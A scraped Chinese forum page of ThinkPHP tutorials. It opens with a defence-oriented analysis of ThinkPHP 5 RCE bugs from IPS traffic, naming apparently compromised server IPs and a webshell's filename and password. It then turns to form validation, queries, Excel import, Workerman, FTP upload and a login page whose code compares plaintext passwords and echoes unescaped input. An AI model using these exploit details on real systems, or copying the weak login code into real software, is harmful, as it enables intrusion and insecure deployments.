下面由Thinkphp框架开发教程栏目给大家介绍从防护角度看Thinkphp历史漏洞,希望对需要的朋友有所帮助!一、前言19年初,网上公开了2个Thinkphp5的RCE漏洞,漏洞非常好用,导致有很多攻击者用扫描器进行全网扫描。我们通过ips设备持续观察到大量利用这几个漏洞进行批量getshell的攻击流量,本文主要从流量角度简要分析和利用thinkphp进行攻击的全网扫描和getshell流量痕迹。二、Thinkphp RCE漏洞和扫描流量2.1漏洞原理回顾2.1.15.0.x版本漏洞原理在于Thinkphp处理请求的关键类为Request(thinkphp/library/think/Request.php),该类可以实现对HTTP请求的一些设置Thinkphp支持配置“表单伪装变量”,默认情况下该变量值为_method,因此在method()中,可以通过“表单伪装变量”进行变量覆盖实现对该类任意函数的调用,并且$_POST作为函数的参数传入。可以构造请求来实现对Request类属性值的覆盖,例如覆盖filter属性(filter属性保存了用于全局过滤的函数),从而实现代码执行。2.1.25.1.x-5.2.x版本漏洞与5.0.x版本漏洞相似,漏洞点都存在于Request(thinkphp/library/think/Request.php)类中,其中:$method变量是$this->method,其等同于POST的“_method”参数值,可以利用覆盖$filter的属性值(filter属性保存了用于全局过滤的函数),从而实现代码执行。该漏洞触发时会出现警告级别的异常导致程序终止,此时需要设置忽略异常提示,在public/index.php中配置error_reporting(0)忽略异常继续运行代码,如下图:2.2Thinkphp漏洞全网扫描从流量角度来看,利用Thinkphp漏洞就是发一个http包。我们发现某黑客的扫描器是先写一个简单的一句话作为指纹,后续再访问这个文件看是否返回指纹信息,访问成功说明shell已经成功,基本就是发两个http包,扫描器记下成功写入的shell的网站ip和url然后手工用菜刀连接,进行后续操作。从IPS设备日志和人工验证,攻击者的攻击步骤包含2步:1、全网扫描发送exp,根据指纹识别是否getshell;2、菜刀连接,进行远程控制;2.2.1全网扫描发送exp一般扫描日志都是遍历B段或C段,时间也比较密集,某个被记录的扫描器日志片段如下,具备3个特征:1、目的ip为相同C段或者B段,2、端口比较固定,3扫描时间非常密集扫描器发送的确认shell已经写入成功的报文,采用扫描器专用的指纹,所以ips是没有这种检测规则的。2.2.2菜刀连接在攻击者手工菜刀连接被攻陷的站点时,也会被ips检测到,通过上下文关联溯源到thinkphp漏洞作为攻击者的突破口。挑选几个当时记录的典型案例:被攻陷的郑州服务器1(122.114.24.216):该网站确实为thinkphp5发开,当时webshell木马还在服务器上未被删除。可以通过服务器访问黑客上传的该木马,指纹信息为baidu,扫描器用这个指纹来自动判断getshell成功并记录url。被攻陷的四川服务器(182.151.214.106):被攻陷的四川服务器(182.151.214.106):这个案例木马虽然被清除,但是当时服务器还是可以连通,服务器也是thinkphp框架,用户名疑似chanpei设备记录了黑客连接木马并执行网络查询命令时的报文,得到的信息与以上报错信息一致。并且看得出服务器也所处为内网的一台机器,截图看到至少该网络包含192.168.9.0和192.168.56.0两个子网,如下图:被攻陷的美国服务器(161.129.41.36):美国这台服务器上的webshell也被清理掉了,通过设备抓包,发现有黑客使用了相同的webshell木马,即 x.php,怀疑是同一批黑客。黑客在浏览美国服务器上x.php(webshell)文件内容时,设备记录了x.php的密码为xiao,并且标志位也是baidu。可以看出利用这两个Thinkphp高危RCE漏洞,当时是扫到了大量的服务器漏洞的。三、总结本文结合Thinkphp的历史漏洞原理,分享了发现利用Thinkphp漏洞攻击成功的案例。目前设备每天检测到最多的日志就是weblogic、struts2、thinkphp这类直接getshell的日志或者ssh rdp暴力破解日志。很多攻击者一旦发现最新的exp就装备到自己的扫描器上面全网一阵扫,一天下来可能就是若干个shell。所以出现高危漏洞后建议用户及时打上补丁,配置好安全设备策略,从实际几个案例来看,扫描器的风险一直都在。如果能配置好网站禁止ip直接访问,能在某种程度上缓解一下这种威胁。由于水平有限,欢迎大家指出文中的错误和交流指教以上就是教你从防护角度看Thinkphp历史漏洞的详细内容
0 0 1403天前
admin
1021
对注册到test表的表单进行验证在注册之前要对表单进行验证:用户名非空验证,两次输入密码必须一致即相等验证,年龄在18~50之间即范围验证,邮箱格式正则验证。自动验证是ThinkPHP模型层提供的一种数据验证方法,可以在使用create创建数据对象的时候自动进行数据验证。数据验证可以进行数据类型、业务规则、安全判断等方面的验证操作。数据验证有两种方式:静态方式:在模型类里面通过$_validate属性定义验证规则。动态方式:使用模型类的validate方法动态创建自动验证规则。无论是什么方式,验证规则的定义是统一的规则,定义格式为:12345array(array(验证字段1,验证规则,错误提示,[验证条件,附加规则,验证时间]),array(验证字段2,验证规则,错误提示,[验证条件,附加规则,验证时间]),......);验证字段 (必须)需要验证的表单字段名称,这个字段不一定是数据库字段,也可以是表单的一些辅助字段,例如确认密码和验证码等等。有个别验证规则和字段无关的情况下,验证字段是可以随意设置的,例如expire有效期规则是和表单字段无关的。如果定义了字段映射的话,这里的验证字段名称应该是实际的数据表字段而不是表单字段。验证规则 (必须)要进行验证的规则,需要结合附加规则,如果在使用正则验证的附加规则情况下,系统还内置了一些常用正则验证的规则,可以直接作为验证规则使用,包括:require 字段必须、email 邮箱、url URL地址、currency 货币、number 数字。提示信息 (必须)用于验证失败后的提示信息定义验证条件 (可选)包含下面几种情况:self::EXISTS_VALIDATE 或者0 存在字段就验证(默认)self::MUST_VALIDATE 或者1 必须验证self::VALUE_VALIDATE或者2 值不为空的时候验证附加规则 (可选)配合验证规则使用,包括下面一些规则:验证时间(可选)self::MODEL_INSERT或者1新增数据时候验证self::MODEL_UPDATE或者2编辑数据时候验证self::MODEL_BOTH或者3全部情况下验证(默认)这里的验证时间需要注意,并非只有这三种情况,你可以根据业务需要增加其他的验证时间。验证有两种方式:静态验证与动态验证。一、静态验证在模型类里面预先定义好该模型的自动验证规则,我们称为静态定义。验证时要在test表的Model里面加验证条件:新建testModel.class.php,在模型类里面定义了$_validate属性如下:12345678910111213141516<?phpnamespace Home\Model;use Think\Model;class testModel extends Model{    //静态验证    protected $_validate = array(            array('uid','require','用户名不能为空'),                array('pwd','require','密码不能为空'),        array('repwd','pwd','确认密码不正确',1,'confirm'),        array('age','18,50','年龄必须在18-50岁之间',1,'between'),        array('email','email','邮箱格式不正确'),         );         }定义好验证规则后,就可以在使用create方法创建数据对象的时候自动调用:123456789101112131415161718192021222324252627282930313233<?phpnamespace Home\Controller;use Home\Controller\CheckController;class ZhuCeController extends CheckController{    function ZhuCe()    {        //静态验证,不能在后面直接显示,必须全部通过验证才能注册        $cw = "";        if(!empty($_GET))        {            $cw = $_GET["cw"];            }        if(empty($_POST))        {            $this->assign("error",$cw);            $this->display();        }        else        {            $model = new \Home\Model\testModel();            //$model = D("test");    //动态验证可以用D方法                          if(!$model->create())            {                                $e = $model->getError();                $url = "ZhuCe/cw/{$e}";                $this->error("注册失败!",$url,1);            }            else            {                $model->add();                }模板ZhuCe.html:1234567891011<body><form action="__ACTION__" method="post"><div>用户名:<input type="text" name="uid" id="uid" /> </div><br /><div>密码:<input type="text" name="pwd" id="pwd" /></div><br /><div>确认密码:<input type="text" name="repwd" id="repwd" /> </div><br /><div>年龄:<input type="text" name="age" id="age" /> </div><br /><div>邮箱:<input type="text" name="email" id="email" /> </div><br /><div>姓名:<input type="text" name="name" /></div><br /><div><{$error}></div>   <!--显示错误信息--><input type="submit" value="注册" /></form>请求ZhuCe方法:二、动态验证如果采用动态验证的方式,就比较灵活,可以根据不同的需要,在操作同一个模型的时候使用不同的验证规则,例如上面的静态验证方式可以改为:123456789101112131415161718192021222324252627282930313233<?phpnamespace Home\Controller;use Home\Controller\CheckController;class ZhuCeController extends CheckController{    function ZhuCe()    {                if(empty($_POST))        {                        $this->display();        }        else        {            //$model = new \Home\Model\testModel();            $model = D("test");    //动态验证可以用D方法                        //动态验证            $rules = array(                array('uid','require','用户名不能为空')            );            //调用validate()加入验证规则            $r = $model->validate($rules)->create();//若验证失败返回false,成功返回注册的test表数组信息            //var_dump($r);            if(!$r)            {                echo $model->getError(); //若验证失败则输出错误信息                }            else            {                $model->add();                }                     }        }我们还可以在表单后面直接显示错误提示,这就要用到ajax。以验证用户名非空为例:在模板ZhuCe.html中:123456789101112131415161718192021222324252627282930313233343536373839404142<script src="../../../../../jquery-1.11.2.min.js"></script>  </head> <body><form action="__ACTION__" method="post"><div>用户名:&nbsp;<input type="text" name="uid" id="uid" /> <span id="ts"></span></div><br /><div>密码:&nbsp;&nbsp;<input type="text" name="pwd" id="pwd" /> <span id="pts"></span></div><br /><div>确认密码:<input type="text" name="repwd" id="repwd" /> <span id="rpts"></span></div><br /><div>年龄:&nbsp;&nbsp;<input type="text" name="age" id="age" /> <span id="nts"></span></div><br /><div>邮箱:&nbsp;&nbsp;<input type="text" name="email" id="email" /> <span id="ets"></span></div><br /><div>姓名:&nbsp;&nbsp;<input type="text" name="name" /></div><br /><!--<div><{$error}></div> -->  <!--显示错误信息--><input type="submit" value="注册" /></form></body></html><script type="text/javascript">$(document).ready(function(e) {    $("#uid").blur(function(){        var uid = $(this).val();        $.ajax({                         url:"__CONTROLLER__/Yhm",  <!--提交到方法,而不是页面-->            data:{uid:uid},   <!--因为做的是表单验证,所以提交时要与表单name值一致,相当于提交表单 -->            type:"POST",            dataType:"TEXT",   <!--返回数据类型要与ajaxReturn中的参数对应,TEXT对应eval-->            success: function(data){                //alert(data);                var str = "";                if(data.trim()=="OK")                {                    str = "<span style='color:green'>"+data+"</span>";                }                else                {                    str = "<span style='color:red'>"+data+"</span>";                    }                                 $("#ts").html(str);                }            });                })在ZhuCe控制器中再做一个Yhm方法:12345678910111213141516171819//验证用户名非空    function Yhm()    {        $model = D("test");            $rules = array(                array('uid','require','用户名不能为空')            );                         if(!$model->validate($rules)->create())            {                $fh = $model->getError();                $this->ajaxReturn($fh,'eval');  //ajax返回数据,默认返回json格式,eval返回字符串,因为dataType是TEXT,所以用eval格式            }            else            {                $fh = "OK";                    $this->ajaxReturn($fh,'eval');            }    }请求ZhuCe方法:其他验证也是类似的方法,提交相应数据到对应方法,使用相应的验证规则。推荐教程:《TP5》以上就是ThinkPHP框架表单验证介绍的详细内容
0 0 1403天前
admin
1294
前些天有朋友问到了一个联表的聚合查询问题,想到此问题可能很多新手处理都比较棘手,现在特意分享出来。我们有两个数据表:bus表:user表:需求:统计每个人上车数量如何实现呢?第一步:联表这种场景肯定需要两个数据表联表,我们先不考虑统计,我们先进行两个数据表联表。1$data=Db::name('user')->alias('a')->join('bus b','a.user_id=b.user_id')->select()->toArray();alias是别名,join是联表的数据表,并且有联表条件a.user_id=b.user_id,这样我们就能够获取到两个数据表联表的数据了。第二步:聚合查询在做聚合查询前,我们先看下官方手册的教程。因为我们最终是要获取统计的数量,所以我们首先确定用count()方法,所以我们修改查询语句:1$data=Db::name('user')->alias('a')->field('count(b.user_id) AS c'')->join('bus b','a.user_id=b.user_id')->select()->toArray();这其中c,是别名。我们需要根据user_id这个字段进行聚合查询,是根据这个字段统计的,所以我们肯定是group(user_id),也就是按照user_id这个字段进行分组。我们继续修改查询语句:1$data=Db::name('user')->alias('a')->field('count(b.user_id) AS c')->join('bus b','a.user_id=b.user_id')->group('a.user_id')->select()->toArray();这样我们就实现了我们的最终查询结果。第三点:注意情况在上面的查询语句中,如果mysql是5.7版本,那么需要格外注意。比如在mysql5.7中在field中添加a.*,就会报错:12$data=Db::name('user')->alias('a')->field('a.*,count(b.user_id) AS c')->join('bus b','a.user_id=b.user_id')->group('a.user_id')->select()->toArray();[object Object]为什么会有这样的错误呢?MYSQL5.7为了更好的性能,对sql_mode的限制。ONLY_FULL_GROUP_BY: 对于GROUP BY聚合操作的时候,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中,这也就是报错所在。我们可以修改mysql配置:修改/etc/my.cnf,将sql_mode=中的only_full_group_by给删掉这样一个联表的聚合查询就实现了,我们遇到这个问题的时候,不要心急,根据最终的需求,一步步的拆分一步步的实现。以上就是从实例讲解ThinkPHP6联表聚合查询的详细内容
0 0 1403天前
admin
1111
thinkphp导入Excel的方法介绍:开发思路1、先把Excel文件上传到服务器2、获取服务器Excel文件内容3、写入数据库一、上传Excel文件,使用PHP里自带的上传方法 “\Think\Upload();”,可以很方便的实现。为此我整理下使用这个方法的最简单方式1234567891011121314151617181920212223/** * TODO 上传文件方法 * @param $fileid form表单file的name值 * @param $dir 上传到uploads目录的$dir文件夹里 * @param int $maxsize 最大上传限制,默认1024000 byte * @param array $exts 允许上传文件类型 默认array('gif','jpg','jpeg','bmp','png') * @return array 返回array,失败status=0 成功status=1,filepath=newspost/2014-9-9/a.jpg */function uploadfile($fileid,$dir,$maxsize=5242880,$exts=array('gif','jpg','jpeg','bmp','png'),$maxwidth=430){    $upload = new \Think\Upload();// 实例化上传类    $upload->maxSize   =     $maxsize;// 设置附件上传大小,单位字节(微信图片限制1M    $upload->exts      =     $exts;// 设置附件上传类型    $upload->rootPath  =     './uploads/'; // 设置附件上传根目录    $upload->savePath  =     $dir.'/'; // 设置附件上传(子)目录    // 上传文件    $info   =   $upload->upload();     if(!$info) {// 上传错误提示错误信息        return array(status=>0,msg=>$upload->getError());    }else{// 上传成功        return array(status=>1,msg=>'上传成功',filepath=>$info[$fileid]['savepath'].$info[$fileid]['savename']);    }}这里默认上传到ThinkPHP入口文件index.php所在的文件夹uploads,此方法返回一个数据,状态status=1时为成功,也建议大家在写功能模块时或做封装时,整个系统的在架构初期应该有约定,在必要的情况下返回值用数组形式,成功返回1return array(status=>1,data=>....,info=>.....)失败时可以返回1array(status->0,info=>'可以说明出错的原因',....)这样用统一的方式有利于规范开发,团队协作时看代码时可以提高效率,减少思维运转,说远了,上传的方法调用方式如下:123456789//excel 文件        if(!empty($_FILES['xls']['name'])){            $upload=uploadfile('xls','tempxls',5242880,array('xls','xlsx'));            if($upload['status']){                $path=$upload['filepath'];            }else{                $this->error($upload['msg']);            }        }二、获取Excel数据1、首先需要引入PHPExcel的类库1require_once 'module/PHPExcel/Classes/PHPExcel/IOFactory.php';2、获取Excel第0张表即(Sheet1)1234//获取excel文件$objPHPExcel = \PHPExcel_IOFactory::load("uploads/$path");$objPHPExcel->setActiveSheetIndex(0);$sheet0=$objPHPExcel->getSheet(0);3、获取行数,并把数据读取出来$data数组1234567891011$rowCount=$sheet0->getHighestRow();//excel行数        $data=array();        for ($i = 2; $i <= $rowCount; $i++){            $item['name']=$this->getExcelValue($sheet0,'A'.$i);            $item['sex']=$this->getExcelValue($sheet0,'B'.$i);            $item['contact']=$this->getExcelValue($sheet0,'C'.$i);            $item['remark']=$this->getExcelValue($sheet0,'D'.$i);            $item['addtime']=$this->getExcelValue($sheet0,'E'.$i);             $data[]=$item;        }三、最后保存到数据123456789101112$success=0;        $error=0;        $sum=count($data);        foreach($data as $k=>$v){            if(M('temp_area3')->data($v)->add()){                $success++;            }else {                $error++;            }        }         echo "总{$sum}条,成功{$success}条,失败{$error}条。";推荐教程:《TP5》以上就是thinkphp中使用PHPExcel导入Excel的方法的详细内容
0 0 1403天前
admin
1101
WorkermanWorkerman是一款纯PHP开发的开源高性能的PHP socket 服务器框架。被广泛的用于手机app、手游服务端、网络游戏服务器、聊天室服务器、硬件通讯服务器、智能家居、车联网、物联网等领域的开发。 支持TCP长连接,支持Websocket、HTTP等协议,支持自定义协议。基于workerman开发者可以更专注于业务逻辑开发,不必再为PHP Socket底层开发而烦恼。安装首先通过 composer 安装1composer require topthink/think-worker使用使用Workerman作为HttpServer在命令行启动服务端1php think worker然后就可以通过浏览器直接访问当前应用1http://localhost:2346linux下面可以支持下面指令1php think worker [start|stop|reload|restart|status]workerman的参数可以在应用配置目录下的worker.php里面配置。由于onWorkerStart运行的时候没有HTTP_HOST,因此最好在应用配置文件中设置app_hostSocketServer在命令行启动服务端(需要2.0.5+版本)1php think worker:server默认会在0.0.0.0:2345开启一个websocket服务。如果需要自定义参数,可以在config/worker_server.php中进行配置,包括:配置参数描述protocol协议host监听地址port监听端口socket完整的socket地址并且支持workerman所有的参数(包括全局静态参数)。也支持使用闭包方式定义相关事件回调。12345678return [    'socket'    =>  'http://127.0.0.1:8000',    'name'      =>  'thinkphp',    'count'     =>  4,    'onMessage' =>  function($connection, $data) {        $connection->send(json_encode($data));    },];也支持使用自定义类作为Worker服务入口文件类。例如,我们可以创建一个服务类(必须要继承 think\worker\Server),然后设置属性和添加回调方法1234567891011<?phpnamespace app\http;use think\worker\Server;class Worker extends Server{    protected $socket = 'http://0.0.0.0:2346';    public function onMessage($connection,$data)    {        $connection->send(json_encode($data));    }}支持workerman所有的回调方法定义(回调方法必须是public类型)然后在worker_server.php中增加配置参数:123return [    'worker_class'  =>  'app\http\Worker',];定义该参数后,其它配置参数均不再有效。在命令行启动服务端1php think worker:server然后在浏览器里面访问1http://localhost:2346如果在Linux下面,同样支持reload|restart|stop|status 操作1php think worker:server reload推荐教程:《ThinkPHP》《PHP教程》《Workerman教程》以上就是ThinkPHP6 Workerman 基本使用的详细内容
0 0 1403天前
admin
1149
图片上传功能应该是个极为普遍的,在此参考了 ThinkPHP 框架中的集成方法整理了一下 FTP图片的上传功能,这样方便在后台操作时,把有关的图片直接上传到线上的图片服务器,避免大流量访问的图片加载缓慢,降低网站的访问压力。1、前端设计这里主要为了测试功能的实现,使用最简单的设计,既方便参考又有利于后期的功能扩展。如下附 upload.html主要代码,着重注意红框圈出的代码,其中 css样式比较简单,需要的可以参考后面的源代码。2、后台控制器设计config.class.php 主要代码如下所示,其中设计的表“conf”在此只需用两个字段就好——'tag','value',可以使用简单的varchar类型12345678910111213141516171819202122public function upload(){    if (IS_POST){        foreach ($_FILES as $key => $value){            $img = handleImg($key);            $furl = C('REMOTE_ROOT').$img;            if ($img){                ftp_upload($furl,$img);                $saveData['value'] = $img;                M('conf')                    ->where("tag = '".$key."'")                    ->save($saveData);            }        }        $this->success('FTP 测试完成',U('Config/upload'),2);    }else{        $imgUrl = M('conf')            ->where("tag = 'upImg'")            ->getField('value');        $this->assign('imgUrl',$imgUrl);        $this->display();    }}3、配置数据在公共配置文件中,进行如下常量的数据配置,参考代码如下,注意配置FTP 账号及密码的正确性,此处安全起见只是举例。1234567891011121314//ftp(外网服务器)上传文件相关参数'FTP_SEVER'       => 'http://img.52zhenmi.com',  //此地址,作为图片读取的位置 请上线前仔细确认'FTP_HOST'       => 'img.52zhenmi.com','WEB_SEVER'      => 'http://img.52zhenmi.com','WEB_M_SERVER'    => 'http://www.52zhenmi.com/m',  'FTP_NAME'       => 'fexxxi',//ftp帐户'FTP_PWD'        => '1qxxxxxxw',//ftp密码'FTP_PORT'       => '21',//ftp端口,默认为21'FTP_PASV'       => true,//是否开启被动模式,true开启,默认不开启'FTP_SSL'        => false,//ssl连接,默认不开启'FTP_TIMEOUT'    => 60,//超时时间,默认60,单位 s'REMOTE_ROOT'    => '/',//图片服务器根目录4、引入文件以我的代码为例,在此引用了两个文件,其中的 FTP.class.php 放在了 '/Library/Think' 目录下;Upload.class.php 放在了'/Library/Org/Net'目录下,可根据自己的使用习惯自行调整目录,只要保证实例化路径时没问题就可。5、公共函数添加注意添加上文步骤2中使用到的公共函数。12345678910111213/** * 图片上传的公共处理方法 * @param string $fileName 图片上传的name * @return string 图片的存储路径 */function handleImg($fileName){    if($_FILES[$fileName]['tmp_name'] != ""){        $img = $_FILES[$fileName];        $imgUrl = __ROOT__."/public";        $upload = new \Org\Net\Upload($img, $imgUrl);        return $upload->main();    }}FTP上传文件函数123456789101112131415function ftp_upload($remotefile,$localfile){    $ftp = new \Think\Ftp();    $data['server'] = C('FTP_HOST');    $data['username'] = C('FTP_NAME');//ftp帐户    $data['password'] = C('FTP_PWD');//ftp密码    $data['port'] = C('FTP_PORT');//ftp端口,默认为21    $data['pasv'] = C('FTP_PASV');//是否开启被动模式,true开启,默认不开启    $data['ssl'] = C('FTP_SSL');//ssl连接,默认不开启    $data['timeout'] = C('FTP_TIMEOUT');//超时时间,默认60,单位 s    $info = $ftp->start($data);    if($info){        if($ftp->put($remotefile,$localfile)){}    }    $ftp->close();}6、操作截图7、提示对于这份参考代码,涉及到的公共方法 handleImg()会先将需要上传的图片传到当前操作的网站根目录,之后又会通过 ftp_upload()将图片传到对应的图片FTP服务器,从实现步骤上看第一步多余,主要是开发过程中的测试服务器不符合FTP账号要求,同时又要方便线上内容修改的及时更新。推荐教程:《TP5》以上就是thinkphp中使用ftp上传图片的详细内容
0 0 1403天前
admin
1142
1.解压"tp5"压缩包到"thinkphp_5.0.24_with_extend\"(E);2.把解压好的"tp5文件夹"—>改名"demo(可以起其它的名字)"->把demo文件夹拷贝到WWW目录;3.在浏览器中输入"http://127.0.0.1/demo/public"—>查看tp5是否可以使用;4.创建或导入一个数据库(我是导入的);5.在application文件夹中—>创建admin文件夹—>在admin文件夹中—>分别创建controller、model、view文件夹—>在controller文件夹中—>创建Login.php;D:\phpStudy\WWW\demo\application\admin\controller\Login.php内容12345678910111213141516171819202122232425262728293031<?phpnamespace app\admin\controller;use think\Controller;use app\admin\model\Login as Log;class Login extends Controller{    public function index()    {        // $linkres= \think\Db::name('link')->paginate(3);        // $this->assign('linkres',$linkres);        if(request()->isPost()){            $login=new Log;            $status=$login->login(input('username'),input('password'));            if($status==1){                return $this->success('登录成功,正在跳转!','Index/index');            }elseif($status==2){                return $this->error('账号或者密码错误!');            }else{                return $this->error('用户不存在!');            }        }        return $this->fetch('login');    }      public function logout(){        session(null);        return $this->success('退出成功!',url('index'));    }    }6.在model文件夹中—>创建Login.php文件D:\phpStudy\WWW\demo\application\admin\model\Login.php内容:123456789101112131415161718192021<?phpnamespace app\admin\model;use think\Model;class Login extends Model{    public function login($username,$password){        $admin= \think\Db::name('admin')->where('username','=',$username)->find();        if($admin){            if($admin['password']==md5($password)){                \think\Session::set('id',$admin['id']);                \think\Session::set('username',$admin['username']);                return 1;            }else{                return 2;            }          }else{            return 3;        }    }}7.在view文件夹中—>创建Login文件夹—>在Login文件夹中—>创建login.html文件D:\phpStudy\WWW\demo\application\admin\view\Login\login.html内容:1234567891011121314151617181920212223242526272829303132<!doctype html><html><head>    <meta charset="UTF-8">    <title>后台登录</title>    <link href="__PUBLIC__/static/admin/css/admin_login.css" rel="stylesheet" type="text/css" /></head><body><div class="admin_login_wrap">    <h1>后台管理</h1>    <div class="adming_login_border">        <div class="admin_input">            <form action="" method="post">                <ul class="admin_items">                    <li>                        <label for="user">用户名:</label>                        <input type="text" name="username" value="admin" id="user" size="35" class="admin_input_style" />                    </li>                    <li>                        <label for="pwd">密码:</label>                        <input type="password" name="password" value="admin" id="pwd" size="35" class="admin_input_style" />                    </li>                    <li>                        <input type="submit" tabindex="3" value="提交" class="btn btn-primary" />                    </li>                </ul>            </form>        </div>    </div></div></body></html>8.D:\phpStudy\WWW\demo\application\config.php12// 应用调试模式 'app_debug'              => false,修改成:1'app_debug'              => true,就能看到Bug了!模板文件不存在:D:\phpStudy\WWW\demo\public/../application/admin\view\login\login.htmlview下的login文件名不对!!!*在controller和model下Login.php要大写Login,在view下login.html要小写login!SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: NO)出现Bug是没有链接数据库的D:\phpStudy\WWW\demo\application\database.php填写内容12345678910111213141516171819202122232425return [    // 数据库类型    'type'            => 'mysql',    // 服务器地址    'hostname'        => '127.0.0.1',    // 数据库名    'database'        => 'youme', //你创建或导入的数据库名    // 用户名    'username'        => 'root',    // 密码    'password'        => '****',    // 端口    'hostport'        => '',    // 连接dsn    'dsn'             => '',    // 数据库连接参数    'params'          => [],    // 数据库编码默认采用utf8    'charset'         => 'utf8',    // 数据库表前缀    'prefix'          => 'ym_',  // 你创建或导入数据库表名的前缀    *****************************************************************************************  SQLSTATE[42S02]: Base table or view not found: 1146 Table 'youhe.admin' doesn't exist(Bug)D:\phpStudy\WWW\demo\application\admin\model\Login.php12345678910111213141516171819202122232425<?phpnamespace app\admin\model;use think\Model;class Login extends Model{    public function login($username,$password){//        $admin= \think\Db::name('admin')->where('username','=',$username)->find();        $user= \think\Db::name('user')->where('username','=',$username)->find();//        if($admin){        if($user){//            if($admin['password']==md5($password)){            if($user['password']==$password){//                \think\Session::set('id',$admin['id']);                \think\Session::set('id',$user['id']);//                \think\Session::set('username',$admin['username']);                \think\Session::set('username',$user['username']);                return 1;            }else{                return 2;            }        }else{            return 3;        }    }}推荐教程:《TP5》以上就是thinkphp5实现后台登录界面的方法的详细内容
0 0 1403天前
admin
1054
下面由thinkphp开发教程栏目给大家解析 ThinkPHP 的命名空间,希望对需要的朋友有所帮助!大家都知道由于PHP语法里不支持函数重载机制,如果一个应用里有两个同名的方法,怎么办呢?在Yii 框架为了避免名字重复引起问题,全部的类前边都有 C 字样,而在ThinkPHP里就引入了命名空间这个概念。a) 命名空间是虚拟的定义空间,不是真实存在目录b) 命名空间的分隔符都是反斜杠 \c) 非限定名称:getName() 获得与其最近的命名空间的getName()d) 限定名称:beijinggetName() 相对方式通过最近的命名空间定位beijinggetName():如下面的实例,他会认为在当前目录下的beijinggetName(),因此会找dalianbeijinggetName()。此时,因为找不到就会报错了!!e) 完全限定名称: beijinggetName() 直接在指定的命名空间获得具体元素f) 命名空间针对:函数、类名、常量三者其作用,在命名空间里边把这三种统称为元素操作实例如下:相关推荐:《TP5》以上就是解析 ThinkPHP 的命名空间的详细内容
0 0 1403天前
快速发帖 高级模式
联系站长 友链申请桂ICP备19000949号-1     桂ICP备19000949号-1
您的IP:3.149.230.44,2024-04-27 01:28:57,Processed in 0.77023 second(s).
免责声明: 本网不承担任何由内容提供商提供的信息所引起的争议和法律责任。
Powered by HadSky 7.12.9
免责声明
1、本站资源,均来自网络,版权归原作者,所有资源和文章仅限用于学习和研究目的 。
2、不得用于商业或非法用途,否则,一切责任由该用户承担 !
如果觉得本文还不错请点个赞或者打赏点轻币哦~
拒绝伸手党,拿走请回复,尊重楼主,尊重你我他~

侵权删除请致信 E-Mail:207882320@qq.com